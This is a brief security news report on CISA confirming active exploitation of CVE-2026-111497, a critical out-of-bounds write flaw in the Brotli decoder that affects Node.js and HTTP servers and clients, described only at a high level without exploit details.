On Tuesday, the US Cybersecurity and Infrastructure Security Agency (CISA) confirmed that hackers have begun exploiting a critical Brotli vulnerability known as Node2Shell, Broccoli2Shell, and HTTP2Shell. Tracked as CVE-2026-111497, this critical-severity flaw stems from an out-of-bounds write weakness in the Brotli decoder used to expand data compressed with Google's widely popular Brotli lossless compression algorithm. Unprivileged attackers can use a maliciously crafted Brotli-compressed stream to trigger crashes or memory leaks and, in some cases, gain remote code execution on devices with vulnerable Brotli libraries or binaries. The security issue was first identified in the Node.js JavaScript runtime environment, but it also affects HTTP servers and clients that rely on vulnerable Brotli implementations.
Confirm this action.
Leaving now will discard your changes.